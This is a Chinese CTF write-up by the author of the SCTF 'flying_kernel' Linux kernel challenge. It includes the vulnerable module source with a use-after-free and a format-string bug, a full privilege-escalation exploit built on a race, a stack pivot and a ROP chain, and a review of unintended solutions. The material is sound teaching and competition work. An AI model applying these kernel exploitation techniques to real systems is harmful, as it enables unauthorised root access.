<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    SCTF flying_kernel 出題總結

    VSole2022-01-07 16:34:24

    前言

    SCTF中一道linux kernel pwn的出題思路及利用方法,附賽后復盤

    賽時情況

    題目在早上九點第一波放出,在晚上6點由AAA戰隊取得一血,直到比賽結束一共有7支戰隊做出此題,作為一個kernel初學者很慶幸沒被打爛orz(雖然被各種非預期打爆了,還是需要繼續努力

    出題思路

    考點主要來源于CVE-2016-6187 的一篇利用文章,原文鏈接https://bbs.pediy.com/thread-217540.htm

    簡單概括就是使用以下語句

    socket(22, AF_INET, 0);
    

    會觸發 struct subprocess_info 這個對象的分配,此結構為0x60大小,定義如下:

    struct subprocess_info {    struct work_struct work;    struct completion *complete;    const char *path;    char **argv;    char **envp;    struct file *file;    int wait;    int retval;    pid_t pid;    int (*init)(struct subprocess_info *info, struct cred *new);    void (*cleanup)(struct subprocess_info *info);    void *data;} __randomize_layout;
    

    此對象在分配時最終會調用cleanup函數,如果我們能在分配過程中把cleanup指針劫持為我們的gadget,就能控制RIP,劫持的方法顯而易見,即條件競爭

    題目源碼

    先給出這次題目的模塊源碼

    #include #include #include #include #include #include #include #include #include #include 
    static char *sctf_buf = NULL;static struct class *devClass;static struct cdev cdev;static dev_t seven_dev_no;
    static ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos);
    static long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
    static int seven_open(struct inode *i, struct file *f);
    static int seven_close(struct inode *i, struct file *f);
    static struct file_operations seven_fops =        {                .owner = THIS_MODULE,                .open = seven_open,                .release = seven_close,                .write = seven_write,                .unlocked_ioctl = seven_ioctl        };
    static int __init seven_init(void){    if (alloc_chrdev_region(&seven_dev_no, 0, 1, "seven") < 0)    {        return -1;    }    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)    {        unregister_chrdev_region(seven_dev_no, 1);        return -1;    }    if (device_create(devClass, NULL, seven_dev_no, NULL, "seven") == NULL)    {        class_destroy(devClass);        unregister_chrdev_region(seven_dev_no, 1);        return -1;    }    cdev_init(&cdev, &seven_fops);    if (cdev_add(&cdev, seven_dev_no, 1) == -1)    {        device_destroy(devClass, seven_dev_no);        class_destroy(devClass);        unregister_chrdev_region(seven_dev_no, 1);        return -1;    }    return 0;}
    static void __exit seven_exit(void){    unregister_chrdev_region(seven_dev_no, 1);    cdev_del(&cdev);}
    ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos){    if (sctf_buf)    {        if (len <= 0x80)        {            printk(KERN_INFO "write()" );            u_int64_t offset = 0x80 - len;            copy_from_user((u_int64_t)((char *)sctf_buf) + offset, buf, len);        }    }    else    {        printk("What are you doing?");    }
        return len;}
    // ioctl函數命令控制long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long size){    int retval = 0;    switch (cmd) {
            case 0x5555://add            if (size == 0x80)            {                sctf_buf = (char *)kmalloc(size,GFP_KERNEL);                printk("Add Success!");            }            else            {                printk("It's not that simple");            }            break;
            case 0x6666:            if (sctf_buf)            {                kfree(sctf_buf);            }            else            {                printk("What are you doing?");                retval = -1;            }            break;
            case 0x7777:            if (sctf_buf)            {                printk(sctf_buf);            }            break;
            default:            retval = -1;            break;    }   
        return retval;}
    static int seven_open(struct inode *i, struct file *f){    printk(KERN_INFO "open()");    return 0;}
    static int seven_close(struct inode *i, struct file *f){    printk(KERN_INFO "close()");    return 0;}
    module_init(seven_init);module_exit(seven_exit);
    MODULE_LICENSE("GPL");
    

    ioctl

    在自定義的ioctl函數中,設置了參數2為command,有三種情況:

    • command = 0x5555時:調用kmalloc函數申請一個0x80的chunk
    • command = 0x6666時:free chunk但指針沒清空
    • command = 0x7777時:調用printk輸出,存在格式化字符串漏洞

    一共兩個漏洞點:0x80的UAF,和一個格式化字符串漏洞

    write

    寫函數只能寫最多0x80大小,但能指定寫的大小,且重點是能從后往前寫

    init

    內核的init如下:

    #!/bin/sh
    mkdir tmpmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devmount -t tmpfs none /tmp
    exec 0exec 1>/dev/consoleexec 2>/dev/console
    echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
    insmod /flying.kochmod 666 /dev/sevenchmod 700 /flagecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictchmod 400 /proc/kallsyms
    poweroff -d 120 -f &setsid /bin/cttyhack setuidgid 1000 /bin/sh
    umount /procumount /sysumount /tmp
    poweroff -d 0  -f
    

    主要設置tmp目錄用來上傳文件

    echo 1 > /proc/sys/kernel/kptr_restrict

    echo 1 > /proc/sys/kernel/dmesg_restrict

    chmod 400 /proc/kallsyms

    這里也限制泄露內核基址

    qemu

    qemu的啟動腳本如下:

    #!/bin/shqemu-system-x86_64 \    -m 128M \    -kernel /home/ctf/bzImage \    -initrd /home/ctf/rootfs.img \    -monitor /dev/null \    -append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \    -cpu kvm64,+smep \    -smp cores=2,threads=2 \    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \    -nographic
    

    多核,且開了smep保護,關掉了smap保護,且內核默認有kpti和kaslr保護,所以相當于開啟了kpti和kaslr

    利用

    因為漏洞點很明顯,主要講講怎么利用漏洞。

    首先是泄露的問題,由于存在一個格式化字符串漏洞,所以可以直接利用它來leak kernel_base

    具體代碼如下:

       write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);    show(fd);    scanf("%llx",&magic1);
    

    注意這里不能使用%p,否則內核會檢測到信息泄漏,得不到正確的結果。

    然后接下來就是0x80的UAF利用,由于開啟了freelist隨機化和Harden_freelist保護,理論上來說,因為題目條件的限制,想直接劫持next指針實現任意地址寫幾乎是不可能的,所以這里不是考察的點,但這里存在了非預期,后文復盤會提到。

    注意到0x80的分配用的是 kmalloc-128,而 struct subprocess_info 此對象的分配也是使用的kmalloc-128,由于題目存在UAF,所以當此對象落在我們能控制的chunk上時,就可以通過條件競爭劫持cleanup的指針,主要流程為:一個線程不斷的調用socket(22, AF_INET, 0) 另一個線程則循環往chunk寫數據,覆蓋cleanup指針為我們的gadget。

    pthread_t th;pthread_create(&th, NULL, race, (void*)buf);while(1) {        usleep(1);        socket(22, AF_INET, 0);//        getshell();        if (race_flag) break; } void *race(void *arg) {  unsigned long *info = (unsigned long*)arg;  info[0] = (u_int64_t)xchg_eax_esp; // cleanup  while(1) {    write(fd, (void*)info,0x20);    if (race_flag) break;  } }
    

    這里很重要的一點是我們的覆蓋要確保只覆蓋cleanup指針,也就是寫0x20字節,從0x60往后寫,如果覆蓋多了數據,會在ROP返回到用戶態后死在使用fs或者syscall的地方,原因似乎有多種,有些玄學,很多師傅都卡在這里,在此磕頭了orz,但我在write函數定義了可以從后面開始寫的行為其實也帶有提示的意味,不然會有點多余。

    我們劫持的gadget要實現的功能是控制棧落在可控區域,這樣我們就可以通過棧遷移,從而在事先布置好的ROP鏈上執行,因為當控制RIP時,RAX的值為此時gadget的地址,所以我們通過以下gadget控制棧

    xchg eax, esp; ret;
    

    然后ROP鏈的功能就是提權+返回用戶態

     u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);  printf("[+] hijacked_stack: %p", (char *)hijacked_stack_addr);
      char* fake_stack = NULL;      //先裝載頁面  if((fake_stack = mmap(      (char*)((hijacked_stack_addr & (~0xfff))), // addr, 頁對齊      0x2000,                                 // length      PROT_READ | PROT_WRITE,                 // prot      MAP_PRIVATE | MAP_ANONYMOUS,            // flags      -1,                                    // fd      0)   ) == MAP_FAILED)      perror("mmap");  printf("[+]    fake_stack addr: %p", fake_stack);  fake_stack[0]=0;  u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;  int index = 0;  hijacked_stack_ptr[index++] = pop_rdi;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = prepare_kernel_cred;  hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = commit_creds;  hijacked_stack_ptr[index++] = swapgs;  hijacked_stack_ptr[index++] = iretq;  hijacked_stack_ptr[index++] = (u_int64_t)getshell;  hijacked_stack_ptr[index++] = user_cs;  hijacked_stack_ptr[index++] = user_rflags;  hijacked_stack_ptr[index++] = user_rsp;  hijacked_stack_ptr[index++] = user_ss;
    

    因為開啟了kpti的緣故,所以我們實際上是通過在用戶態注冊 signal handler 來執行位于用戶態的代碼

    signal(SIGSEGV, getshell);void getshell(){    if(getuid() == 0)    {        race_flag = 1;        puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");        system("/bin/sh");    }    else    {        puts("[!] failed!");    }}
    

    至此一個完整的提權過程完畢,以下是poc完整代碼:

    #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include     
    u_int64_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;u_int64_t kernel_base;u_int64_t raw_kernel;u_int64_t pop_rdi;      // pop rdi; ret;u_int64_t mov_cr4_rdi;  // mov cr4, rdi; pop rbp; ret;u_int64_t prepare_kernel_cred;u_int64_t commit_creds;u_int64_t mov_rdi_rsi;            // mov qword ptr [rdi], rsi; ret;u_int64_t pop_rsi ;     // pop rsi;retu_int64_t hook_prctl  ;u_int64_t poweroff_work_func;u_int64_t power_cmd ;u_int64_t mov_rdi_rax_je_pop_pop_ret; // mov rdi//0xffffffff819b5084: mov rdi, rax; je 0xbb508f; mov rax, rdi; pop rbx; pop rbp; ret;u_int64_t swapgs ;  // swagps;retu_int64_t iretq ;u_int64_t test_rbx_jne_pop_pop_ret;long long int magic1;
    struct DATA{    char* buf;};
    void add(int fd){    ioctl(fd, 0x5555, 0x80);}
    void delete(int fd){    ioctl(fd, 0x6666, 0);}
    void show(int fd){    ioctl(fd, 0x7777, 0);}
    u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;void save_status(){    __asm__ (".intel_syntax noprefix");    __asm__ volatile (        "mov user_cs, cs;\         mov user_ss, ss;\         mov user_gs, gs;\         mov user_ds, ds;\         mov user_es, es;\         mov user_rsp, rsp;\         pushf;\         pop user_rflags"    );    printf("[+] got user stat");}
    u_int64_t raw_kernel;int race_flag = 0;
    void getshell(){    if(getuid() == 0)    {        race_flag = 1;        puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");        system("/bin/sh");    }    else    {        puts("[!] failed!");    }}
    static int fd = NULL;u_int64_t xchg_eax_esp = NULL;void *race(void *arg) {  unsigned long *info = (unsigned long*)arg;  info[0] = (u_int64_t)xchg_eax_esp; // cleanup  // stack pivot  u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);  printf("[+] hijacked_stack: %p", (char *)hijacked_stack_addr);
      char* fake_stack = NULL;      //先裝載頁面  if((fake_stack = mmap(      (char*)((hijacked_stack_addr & (~0xfff))), // addr, 頁對齊      0x2000,                                 // length      PROT_READ | PROT_WRITE,                 // prot      MAP_PRIVATE | MAP_ANONYMOUS,            // flags      -1,                                    // fd      0)   ) == MAP_FAILED)      perror("mmap");  printf("[+]    fake_stack addr: %p", fake_stack);  fake_stack[0]=0;  u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;  int index = 0;  hijacked_stack_ptr[index++] = pop_rdi;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = prepare_kernel_cred;  hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = commit_creds;  hijacked_stack_ptr[index++] = swapgs;  hijacked_stack_ptr[index++] = iretq;  hijacked_stack_ptr[index++] = (u_int64_t)getshell;  hijacked_stack_ptr[index++] = user_cs;  hijacked_stack_ptr[index++] = user_rflags;  hijacked_stack_ptr[index++] = user_rsp;  hijacked_stack_ptr[index++] = user_ss;  while(1) {    write(fd, (void*)info,0x20);    if (race_flag) break;  }  return NULL;}
    int main(){    // 0xffffffff81011cb0:xchg eax,esp    u_int64_t kernel_addr,onegadget,target;    signal(SIGSEGV, getshell);    unsigned long buf[0x200];    memset(buf, 0, 0x1000);    fd = open("/dev/seven", O_RDWR);    printf("fd: %d", fd);    if (fd < 0)    {        return -1;    }    add(fd);    write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);    show(fd);    show(fd);    scanf("%llx",&magic1);
        raw_kernel = magic1 - 0x1f3ecd - KERNEL_BIN_BASE;    printf("[+] raw_kernel addr : 0x%16llx", raw_kernel);    xchg_eax_esp = 0xffffffff81011cb0 + raw_kernel; // xchg eax, esp; ret;    pop_rdi = 0xffffffff810016e9+ raw_kernel;      // pop rdi; ret;    mov_cr4_rdi = 0xFFFFFFFF810460F2+ raw_kernel;  // mov cr4, rdi; pop rbp; ret;    prepare_kernel_cred = 0xFFFFFFFF8108C780+ raw_kernel;    commit_creds = 0xFFFFFFFF8108C360+ raw_kernel;    mov_rdi_rsi = 0xffffffff81075f00 + raw_kernel;            // mov qword ptr [rdi], rsi; ret;    pop_rsi = 0xffffffff811cad0d + raw_kernel;     // pop rsi;ret    hook_prctl = 0xFFFFFFFF824C0D80 + raw_kernel;    poweroff_work_func = 0xFFFFFFFF810C9CE0+ raw_kernel;    power_cmd = 0xFFFFFFFF82663440 + raw_kernel;    mov_rdi_rax_je_pop_pop_ret = 0xffffffff819b5764 + raw_kernel; // mov rdi    swapgs = 0xffffffff81c00f58 + raw_kernel;  // swagps;ret    iretq = 0xffffffff81024f92 + raw_kernel;    test_rbx_jne_pop_pop_ret = 0xffffffff811d9291 + raw_kernel;    printf("[+] xchg addr :b *0x%16llx", xchg_eax_esp);
        save_status();
        delete(fd);    socket(22, AF_INET, 0);    pthread_t th;    pthread_create(&th, NULL, race, (void*)buf);    while(1) {        usleep(1);        socket(22, AF_INET, 0);//        getshell();        if (race_flag) break;    }    return 0;}
    

    編譯語句如下

    gcc poc.c --static -masm=intel -lpthread -o poc

    復盤

    通過詢問解題人和看賽后wp了解到幾種解法。

    預期中的非預期

    • 由于random值其實是固定的,泄露出來后劫持freelist打modprobe_path
    • 由于卡在返回用戶態后死在fs或者syscall的地方,所以直接在內核中orw,或者寫modprobe_path

    第一點由于泄露random值這一點很麻煩,且遠程和本地不同,在出題的時候想到過可以這樣打,但由于預期解比這個簡單,本意也不是想打這里,畢竟用戶態已經有libc大師這種說法,不想再來個slub大師(,這樣個人感覺就挺沒意思了

    純非預期

    wm戰隊的思路orz

    charchar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    無意中看到ch1ng師傅的文章覺得很有趣,不得不感嘆師傅太厲害了,但我一看那長篇的函數總覺得會有更騷的東西,所幸還真的有,借此機會就發出來一探究竟,同時也不得不感慨下RFC文檔的妙處,當然本文針對的技術也僅僅只是在流量層面上waf的繞過。Pre很神奇對吧,當然這不是終點,接下來我們就來一探究竟。前置這里簡單說一下師傅的思路部署與處理上傳war的servlet是?
    記一次網站滲透過程
    2022-09-13 08:37:27
    前幾天記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。
    一、序言 記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。 二、滲透過程 1. 無意點開一個網站,發現網站比較小,且看起來比較老,然后發現logo沒有改,于是乎去百度搜索這個cms,發現有通用漏洞,這里貼一個鏈接:Beecms 通用漏洞(https://lin
    釣魚小技巧-XLM
    2022-01-21 21:30:11
    隨后保存為啟用宏的文檔。而在實戰環境中,我們更關注的是能否執行我們的shellcode。
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    最近在分析JDK7u21的Gadgets,有兩個不解之處,閱讀前輩們的文章發現并未提起。1.為什么有的POC入口是LinkedHashSet,有的是HashSet,兩個都可以觸發嗎?
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类